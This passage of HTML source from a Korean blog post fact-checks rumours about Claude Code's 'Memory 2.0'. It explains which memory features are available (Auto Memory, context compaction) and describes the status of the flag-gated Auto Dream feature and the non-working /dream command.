&lt;li&gt;규칙을 파일로 분리하기: .claude/rules/ (현재 권장)&lt;/li&gt;
&lt;li&gt;서브에이전트도 메모리를 가질 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Context Compaction: 컨텍스트 압축
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 압축 동작&lt;/li&gt;
&lt;li&gt;수동 제어&lt;/li&gt;
&lt;li&gt;CLAUDE.md와의 관계 (중첩 파일 주의사항 포함)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Dream &amp;mdash; 코드에는 있지만 아직 잠겨 있다
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;UI에 보이는 것&lt;/li&gt;
&lt;li&gt;소스 코드가 말해주는 것&lt;/li&gt;
&lt;li&gt;설계 의도: &quot;쓰고 잊기&quot; 문제의 해결&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 튜토리얼: Auto Dream 없이 메모리 관리하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 시나리오&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLAUDE.md vs Auto Memory vs Auto Dream 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;이론적 배경: Sleep-time Compute&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응: 기대와 우려&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 언제 쓸 수 있을까&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;글을 쓴지 몇일이 지난 현재 상태 (2026-03-31 기준, v2.1.88)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0 0 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(255,255,255,0.5);&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 14.2331%;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 22.3313%;&quot;&gt;상태&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 63.3129%;&quot;&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;Auto Memory&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;사용 가능&lt;/b&gt; (v2.1.59+)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;Auto Dream&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;자동 실행: 일부 활성화 &amp;middot; 수동 /dream: 전체 미작동&lt;/b&gt; (v2.1.84, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;&lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;소스 분석&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;&quot;Memory 2.0&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;비공식 용어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;공식 문서/체인지로그에 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 14.2331%;&quot;&gt;&lt;code&gt;/dream&lt;/code&gt; 명령어&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 22.3313%;&quot;&gt;&lt;b&gt;모든 사용자에서 &quot;unknown skill&quot;&lt;/b&gt; (v2.1.88까지 미구현, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff; width: 63.3129%;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 &quot;Auto-dream: on &amp;middot; /dream to run&quot; 안내되나, 실행 시 &quot;unknown skill&quot; &amp;mdash; 자동 실행과 수동 명령어는 별개 구현. 비공식 우회: &lt;a href=&quot;https://github.com/jl-cmd/claude-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jl-cmd/claude-dream&lt;/a&gt; 플러그인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;!-- 2026-05-19 업데이트 박스 --&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 20px 25px; border-radius: 12px; border: 2px solid #f9a825; margin: 20px 0 10px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 16px; font-weight: bold; color: #e65100;&quot; data-ke-size=&quot;size16&quot;&gt;업데이트 (2026-05-19, v2.1.144)&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;/memory 에서 Auto-dream 토글이 보이지 않아요&quot;&lt;/b&gt; &amp;mdash; 댓글로 문의해 주신 내용입니다. 확인 결과, 현 버전(v2.1.144)에서는 &lt;code&gt;/memory&lt;/code&gt; UI 내 Auto-dream 토글이 더 이상 표시되지 않습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기능이 사라진 것이 아니라 &lt;b&gt;플랫폼이 바뀐 것&lt;/b&gt;입니다. Anthropic이 2026년 4월 21일 &lt;b&gt;Managed Agents&lt;/b&gt; 플랫폼의 일환으로 &lt;b&gt;Dreams API&lt;/b&gt;를 Research Preview로 공개했습니다. Claude Code 내부에 숨어있던 실험적 토글이 정식 API로 졸업한 것입니다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 8px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(249,168,37,0.15);&quot;&gt;
&lt;th style=&quot;padding: 7px 10px; text-align: left; border: 1px solid #f9a825; font-weight: 600; width: 28%;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 7px 10px; text-align: left; border: 1px solid #f9a825; font-weight: 600; width: 72%;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;&lt;b&gt;이전 (v2.1.88 시점)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt; 메뉴에 &quot;Auto-dream: off/on&quot; 토글 표시. 서버 플래그로 일부 사용자만 활성화. &lt;code&gt;/dream&lt;/code&gt; 실행 시 &quot;unknown skill&quot; 오류.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;&lt;b&gt;현재 (v2.1.144)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 Auto-dream 토글 제거됨. 대신 &lt;a href=&quot;https://platform.claude.com/docs/en/managed-agents/dreams&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Dreams API&lt;/a&gt;(Research Preview)로 정식 출시. API 키 + &lt;code&gt;dreaming-2026-04-21&lt;/code&gt; 베타 헤더로 호출.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;&lt;b&gt;대상&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;Dreams API는 Claude Code 일반 사용자가 아닌 &lt;b&gt;Managed Agents 플랫폼 개발자&lt;/b&gt; 대상. 액세스 신청 필요: &lt;a href=&quot;https://claude.com/form/claude-managed-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;신청 폼&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;&lt;b&gt;Claude Code 사용자라면&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 10px; border: 1px solid #f9a825;&quot;&gt;Auto Memory(&lt;code&gt;/memory&lt;/code&gt;)와 Context Compaction은 여전히 사용 가능. 메모리 정리는 아래 &quot;5. 실전 튜토리얼&quot; 참고.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 팩트체크: &quot;Memory 2.0&quot; 소문 vs 실체&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;X(트위터)와 한국 커뮤니티에서 퍼지고 있는 주장들을 공식 문서와 대조한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;커뮤니티 주장&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;판정&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Memory 2.0이 나왔다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #dc3545;&quot;&gt;&lt;b&gt;과장&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Memory 2.0&quot;은 공식 문서, 체인지로그(v2.1.88까지), 블로그 어디에도 없다. 커뮤니티가 만든 마케팅 용어.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Auto Dream이라는 새 기능이 있다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;맞지만 미완성&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt; UI에 &quot;Auto-dream&quot; 토글이 존재하고, 내부 시스템 프롬프트에 4단계 정리 프로세스가 구현되어 있다. 일부 사용자에게는 활성화됨(GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;). 하지만 &lt;code&gt;/dream&lt;/code&gt; 명령어가 동작하지 않는 등 버그가 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;&lt;code&gt;/memory&lt;/code&gt;에서 autodream on으로 바꾸면 된다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;사람마다 다름&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;서버 사이드 플래그(&lt;code&gt;tengu_onyx_plover&lt;/code&gt;)로 제어된다. 일부 사용자에게는 토글이 활성화되어 있고(GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt; 댓글에서 &quot;Auto-dream: on &amp;middot; last ran 1d ago&quot; 확인), 다른 사용자에게는 토글이 잠겨 있다. 점진적 롤아웃 중인 것으로 보인다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;&lt;code&gt;/dream&lt;/code&gt; 명령어로 실행한다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #dc3545;&quot;&gt;&lt;b&gt;틀림&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/dream&lt;/code&gt;은 Claude Code의 빌트인 커맨드가 아니다. 실행하면 &quot;unknown skill&quot;이 표시된다. Auto Dream 자동 실행이 이미 켜진 사용자조차 동일하다 (v2.1.84, GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;, 2026-03-26).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;'run your autodream'이라고 하면 dreaming이 뜬다&quot; / &quot;/tasks에 dreaming으로 뜬다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;구분 필요&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;두 가지 다른 상황을 구분해야 한다.&lt;/b&gt;&lt;br /&gt;① &quot;run your autodream&quot; 자연어 요청 &amp;rarr; Claude가 메모리 파일을 직접 편집하는 것. &lt;b&gt;Auto Dream 기능이 아니라&lt;/b&gt; 일반 파일 편집 작업이다.&lt;br /&gt;② Auto Dream이 서버 플래그로 활성화된 사용자에게는, 실제 Auto Dream 백그라운드 에이전트가 실행될 때 &lt;code&gt;/tasks&lt;/code&gt;에 별도 task로 표시된다. 이것은 ①과 달리 &lt;b&gt;실제 Auto Dream&lt;/b&gt;이다. (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;, [ESTIMATE])&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;AI가 잠자면서 기억을 정리한다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;비유로서 맞음&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Dream의 설계 의도가 정확히 이것이다. 다만 아직 동작하지 않는다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심: &quot;run your autodream&quot; &amp;ne; Auto Dream 기능 (그러나 /tasks의 &quot;dreaming&quot;은 다르다)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude에게 &quot;메모리를 정리해줘&quot;라고 &lt;b&gt;자연어로 요청&lt;/b&gt;하면, Claude는 &lt;code&gt;~/.claude/projects/*/memory/&lt;/code&gt; 디렉토리의 파일들을 읽고 수정한다. 이것은 Auto Dream 기능이 아니라, Claude가 평소에도 할 수 있는 &lt;b&gt;일반적인 파일 편집 작업&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;단, &lt;b&gt;Auto Dream이 실제로 활성화된 사용자&lt;/b&gt;에게는 구분이 필요하다. 실제 Auto Dream 백그라운드 에이전트가 실행될 때는 &lt;code&gt;/tasks&lt;/code&gt;에 별도 작업(task)으로 표시된다 &amp;mdash; 이것은 일반적인 &quot;Reading memory&quot; 또는 &quot;Writing memory&quot; 표시와는 다른, Auto Dream 에이전트가 독립적으로 실행 중임을 나타낸다. (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt; 커뮤니티 보고, [ESTIMATE])&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;요약: &quot;메모리 정리해줘&quot; 자연어 요청 = Claude 수동 편집 &amp;ne; Auto Dream / &lt;code&gt;/tasks&lt;/code&gt;의 dreaming 백그라운드 태스크 = 실제 Auto Dream (활성화 사용자만)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 이런 혼동이 생겼는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 셋째 주, 여러 일이 동시에 일어났다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Reddit&lt;/b&gt;에서 최초 발견 &amp;mdash; 누군가가 &lt;code&gt;/memory&lt;/code&gt; 메뉴에서 &quot;Auto-dream: off&quot; 토글을 발견하고 공유했다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;X 확산 시작&lt;/b&gt; &amp;mdash; &lt;a href=&quot;https://x.com/kr0der/status/2036235321780621738&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@kr0der(Anthony)&lt;/a&gt;가 &quot;just found out Claude Code has a new (unreleased?) feature called 'Auto-dream'&quot;이라고 트윗. &quot;unreleased?&quot;에 물음표를 붙였다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;바이럴 확산&lt;/b&gt; &amp;mdash; &lt;a href=&quot;https://x.com/om_patel5/status/2036513690803945625&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@om_patel5&lt;/a&gt;가 상세 스레드를 작성하여 38K 뷰를 기록 (2026-03-26 확인 기준). &lt;a href=&quot;https://x.com/JeremyNguyenPhD/status/2036279335221645345&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@JeremyNguyenPhD&lt;/a&gt;, &lt;a href=&quot;https://x.com/rohanpaul_ai/status/2036421602049663300&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@rohanpaul_ai&lt;/a&gt;, &lt;a href=&quot;https://x.com/maksym_andr/status/2036351101125959799&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@maksym_andr&lt;/a&gt; 등이 증폭.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;심층 분석&lt;/b&gt; &amp;mdash; DEV Community에 &lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;akari_iku의 소스 분석 기사&lt;/a&gt; 게시(2026-03-24). Threads에서 &lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKjMoESz2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@sakeeb.rahman&lt;/a&gt;이 4단계 프로세스와 Sleep-time Compute 논문 연결을 상세 분석.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;Memory 2.0&quot; 명명&lt;/b&gt; &amp;mdash; YouTube 크리에이터 Nate Herk가 &lt;a href=&quot;https://www.skool.com/ai-automation-society/new-video-claude-code-just-dropped-memory-20&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AI Automation Society&lt;/a&gt;에 &quot;Claude Code Just Dropped Memory 2.0&quot;이라는 제목으로 영상 게시. &quot;Memory 2.0&quot;은 이 영상에서 만들어진 마케팅 용어다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;한국 전파&lt;/b&gt; &amp;mdash; &quot;unreleased&quot;가 빠지고 &lt;b&gt;&quot;나왔다&quot;&lt;/b&gt;로 바뀌어 확산. 한국 커뮤니티(GeekNews, GPTers)에서는 Auto Memory에 대한 논의는 있으나, Auto Dream 전용 한국어 심층 분석은 2026-03-26 기준 검색에서 찾기 어려웠다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;교훈&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 도구 관련 정보는 전파 속도가 빠르고, &quot;unreleased&quot;와 &quot;released&quot;의 차이가 생략되기 쉽다. &lt;b&gt;공식 문서(&lt;a href=&quot;https://code.claude.com/docs/en/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs.anthropic.com&lt;/a&gt;)와 &lt;a href=&quot;https://code.claude.com/docs/en/changelog&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;체인지로그&lt;/a&gt;&lt;/b&gt;를 직접 확인하는 것이 가장 정확하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Auto Memory &amp;mdash; 지금 사용할 수 있는 기능&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Memory 2.0&quot;이라고 불리는 것의 대부분은 사실 &lt;b&gt;Auto Memory&lt;/b&gt;다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59(2026-02-26)에서 도입되었고, 현재 정식으로 사용 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/memory#auto-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;작동 원리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 Claude가 작업하면서 유용한 정보를 &lt;b&gt;스스로 판단해서 디스크에 저장&lt;/b&gt;하는 기능이다. 매 세션마다 저장하는 것은 아니다. &lt;b&gt;미래 대화에서 유용할 것이라고 판단되는 정보만&lt;/b&gt; 선별적으로 저장한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 표현을 그대로 옮기면:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude saves notes for itself as it works: build commands, debugging insights, architecture notes, code style preferences, and workflow habits. Claude doesn't save something every session. It decides what's worth remembering based on whether the information would be useful in a future conversation.&quot;&lt;br /&gt;&lt;br /&gt;(Claude는&amp;nbsp;작업을&amp;nbsp;진행하면서&amp;nbsp;스스로&amp;nbsp;참고할&amp;nbsp;메모를&amp;nbsp;남깁니다.&amp;nbsp;예를&amp;nbsp;들면&amp;nbsp;빌드&amp;nbsp;명령어,&amp;nbsp;디버깅&amp;nbsp;과정에서&amp;nbsp;얻은&amp;nbsp;인사이트,&amp;nbsp;아키텍처&amp;nbsp;관련&amp;nbsp;메모,&amp;nbsp;코드&amp;nbsp;스타일&amp;nbsp;선호,&amp;nbsp;작업&amp;nbsp;습관&amp;nbsp;등이&amp;nbsp;여기에&amp;nbsp;포함됩니다.&amp;nbsp;다만&amp;nbsp;모든&amp;nbsp;세션마다&amp;nbsp;항상&amp;nbsp;무언가를&amp;nbsp;저장하는&amp;nbsp;것은&amp;nbsp;아닙니다.&amp;nbsp;나중의&amp;nbsp;대화나&amp;nbsp;작업에서&amp;nbsp;도움이&amp;nbsp;될&amp;nbsp;만한&amp;nbsp;정보인지&amp;nbsp;판단해서,&amp;nbsp;기억해둘&amp;nbsp;가치가&amp;nbsp;있는&amp;nbsp;내용만&amp;nbsp;선택적으로&amp;nbsp;저장합니다.)&lt;/p&gt;
&lt;p style=&quot;margin: 5px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;mdash; &lt;a href=&quot;https://code.claude.com/docs/en/memory#auto-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 공식 문서&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;저장 구조와 200줄 제한&lt;/h3&gt;
